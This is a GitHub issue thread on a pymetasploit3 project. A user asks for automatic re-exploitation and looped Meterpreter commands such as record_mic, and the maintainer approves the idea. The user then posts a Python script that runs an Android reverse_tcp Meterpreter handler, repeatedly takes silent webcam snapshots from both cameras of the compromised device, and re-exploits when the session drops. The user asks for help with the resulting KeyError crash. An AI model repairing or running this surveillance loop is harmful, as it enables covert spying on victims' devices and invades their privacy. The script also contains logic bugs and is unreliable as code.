Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

loop for meterpreter's commands #23

Open
gnu-like opened this issue Nov 29, 2019 · 2 comments
Open

loop for meterpreter's commands #23

gnu-like opened this issue Nov 29, 2019 · 2 comments
Labels
enhancement New feature or request

Comments

@gnu-like
Copy link

When session died automatically rexploit and write loop for commands ex: record_mic -d 15

@DanMcInerney DanMcInerney added the enhancement New feature or request label Dec 18, 2019
@DanMcInerney
Copy link
Owner

This is a good idea I'll think about adding this in later.

@gnu-like
Copy link
Author

gnu-like commented Apr 9, 2020

I wrote a loop but something causing failed :

#!/usr/bin/env python3
from pymetasploit3.msfrpc import MsfRpcClient
from time import sleep
import sys
client = MsfRpcClient('1234', port=55553)


exploit = client.modules.use('exploit', 'multi/handler')
payload = client.modules.use('payload', 'android/meterpreter/reverse_tcp')
payload['LPORT'] = 4444
payload['LHOST'] = '192.168.1.44'
exploit.execute(payload=payload)
exploit['VERBOSE'] = True

list = []
for s in client.sessions.list.keys():
    list.append(s) 
#    print (client.sessions.list.keys())    
    
def Exploit():
    if not list :
        exploit.execute(payload=payload)
Exploit()
def act():
    while True:
        x = 0
        while(x<5):
            client.sessions.session(list[-1]).run_with_output('webcam_snap  -v false -i 2\n')
            sleep(10)
                 
            client.sessions.session(list[-1]).run_with_output('webcam_snap  -v false -i 1\n')
            sleep(10)
            client.sessions.session(list[-1]).read()
            sleep(5)
            x=x+1
            print (x)
            sys.stdout.flush()
            if KeyError:
                Exploit()
                sleep(10)
                continue
act()           

Error:

File "/home/linux/.local/lib/python3.6/site-packages/pymetasploit3/msfrpc.py", line 1973, in session
                                     │    raise KeyError('Session ID (%s) does not exist' % sid)
                                     │KeyError: 'Session ID (41) does not exist'

when session died it crashed ,How can I solved this problem?
Thank you
@DanMcInerney

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

2 participants